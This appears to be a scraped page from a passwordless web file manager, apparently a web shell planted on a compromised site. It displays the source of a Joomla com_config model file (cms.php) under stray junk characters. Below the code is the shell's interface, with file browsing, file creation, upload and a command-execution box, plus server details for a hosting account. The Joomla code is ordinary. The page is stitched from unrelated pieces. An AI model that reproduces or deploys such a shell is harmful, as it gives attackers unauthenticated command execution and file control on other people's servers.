( ◞≼☸≽◟ ._ゝ◞≼☸≽◟)zcsdf吖 <?php
/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use 
Joomla\Registry\Registry;

/**
 * Prototype admin model.
 *
 * @since  3.2
 */
abstract class ConfigModelCms extends JModelDatabase
{
    
/**
     * The model (base) name
     *
     * @var    string
     * @since  3.2
     */
    
protected $name;

    
/**
     * The URL option for the component.
     *
     * @var    string
     * @since  3.2
     */
    
protected $option null;

    
/**
     * The prefix to use with controller messages.
     *
     * @var    string
     * @since  3.2
     */
    
protected $text_prefix null;

    
/**
     * Indicates if the internal state has been set
     *
     * @var    boolean
     * @since  3.2
     */
    
protected $__state_set null;

    
/**
     * Constructor
     *
     * @param   array  $config  An array of configuration options (name, state, dbo, table_path, ignore_request).
     *
     * @since   3.2
     * @throws  Exception
     */
    
public function __construct($config = array())
    {
        
// Guess the option from the class name (Option)Model(View).
        
if (empty($this->option))
        {
            
$r null;

            if (!
preg_match('/(.*)Model/i'get_class($this), $r))
            {
                throw new 
Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500);
            }

            
$this->option 'com_' strtolower($r[1]);
        }

        
// Set the view name
        
if (empty($this->name))
        {
            if (
array_key_exists('name'$config))
            {
                
$this->name $config['name'];
            }
            else
            {
                
$this->name $this->getName();
            }
        }

        
// Set the model state
        
if (array_key_exists('state'$config))
        {
            
$this->state $config['state'];
        }
        else
        {
            
$this->state = new Registry;
        }

        
// Set the model dbo
        
if (array_key_exists('dbo'$config))
        {
            
$this->db $config['dbo'];
        }

        
// Register the paths for the form
        
$paths $this->registerTablePaths($config);

        
// Set the internal state marker - used to ignore setting state from the request
        
if (!empty($config['ignore_request']))
        {
            
$this->__state_set true;
        }

        
// Set the clean cache event
        
if (isset($config['event_clean_cache']))
        {
            
$this->event_clean_cache $config['event_clean_cache'];
        }
        elseif (empty(
$this->event_clean_cache))
        {
            
$this->event_clean_cache 'onContentCleanCache';
        }

        
$state = new Registry($config);

        
parent::__construct($state);
    }

    
/**
     * Method to get the model name
     *
     * The model name. By default parsed using the classname or it can be set
     * by passing a $config['name'] in the class constructor
     *
     * @return  string  The name of the model
     *
     * @since   3.2
     * @throws  Exception
     */
    
public function getName()
    {
        if (empty(
$this->name))
        {
            
$r null;

            if (!
preg_match('/Model(.*)/i'get_class($this), $r))
            {
                throw new 
Exception(JText::_('JLIB_APPLICATION_ERROR_MODEL_GET_NAME'), 500);
            }

            
$this->name strtolower($r[1]);
        }

        return 
$this->name;
    }

    
/**
     * Method to get model state variables
     *
     * @return  object  The property where specified, the state object where omitted
     *
     * @since   3.2
     */
    
public function getState()
    {
        if (!
$this->__state_set)
        {
            
// Protected method to auto-populate the model state.
            
$this->populateState();

            
// Set the model state set flag to true.
            
$this->__state_set true;
        }

        return 
$this->state;
    }

    
/**
     * Method to register paths for tables
     *
     * @param   array  $config  Configuration array
     *
     * @return  object  The property where specified, the state object where omitted
     *
     * @since   3.2
     */
    
public function registerTablePaths($config = array())
    {
        
// Set the default view search path
        
if (array_key_exists('table_path'$config))
        {
            
$this->addTablePath($config['table_path']);
        }
        elseif (
defined('JPATH_COMPONENT_ADMINISTRATOR'))
        {
            
// Register the paths for the form
            
$paths = new SplPriorityQueue;
            
$paths->insert(JPATH_COMPONENT_ADMINISTRATOR '/table''normal');

            
// For legacy purposes. Remove for 4.0
            
$paths->insert(JPATH_COMPONENT_ADMINISTRATOR '/tables''normal');
        }
    }

    
/**
     * Clean the cache
     *
     * @param   string   $group      The cache group
     * @param   integer  $client_id  The ID of the client
     *
     * @return  void
     *
     * @since   3.2
     */
    
protected function cleanCache($group null$client_id 0)
    {
        
$conf JFactory::getConfig();
        
$dispatcher JEventDispatcher::getInstance();

        
$options = array(
            
'defaultgroup' => $group ?: (isset($this->option) ? $this->option JFactory::getApplication()->input->get('option')),
            
'cachebase' => $client_id JPATH_ADMINISTRATOR '/cache' $conf->get('cache_path'JPATH_SITE '/cache'));

        
$cache JCache::getInstance('callback'$options);
        
$cache->clean();

        
// Trigger the onContentCleanCache event.
        
$dispatcher->trigger($this->event_clean_cache$options);
    }

    
/**
     * Method to auto-populate the model state.
     *
     * This method should only be called once per instantiation and is designed
     * to be called on the first call to the getState() method unless the model
     * configuration flag to ignore the request is set.
     *
     * @return  void
     *
     * @note    Calling getState in this method will result in recursion.
     * @since   3.2
     */
    
protected function populateState()
    {
        
$this->loadState();
    }

    
/**
     * Method to test whether a record can be deleted.
     *
     * @param   object  $record  A record object.
     *
     * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
     *
     * @since   3.2
     */
    
protected function canDelete($record)
    {
        if (empty(
$record->id) || $record->published != -2)
        {
            return 
false;
        }

        return 
JFactory::getUser()->authorise('core.delete'$this->option);
    }

    
/**    
     * Method to test whether a record can have its state changed.    
     *    
     * @param   object  $record  A record object.    
     *    
     * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.    
     *    
     * @since   3.2    
     */    
    
protected function canEditState($record)    
    {    
        return 
JFactory::getUser()->authorise('core.edit.state'$this->option);    
    }
}
File Manager (Güvensiz Simülasyon)

Web File Manager (Şifresiz)

Viewing File: cms.php

📄 File Browser

Directory:

Current Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js

✏️ Write/Create File

Filename:


⬆️ Upload File

💻 Command Execution

Command:

📊 Server Info

PHP Version: 8.2.30
Server: Apache
User: sarayaglobal
Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js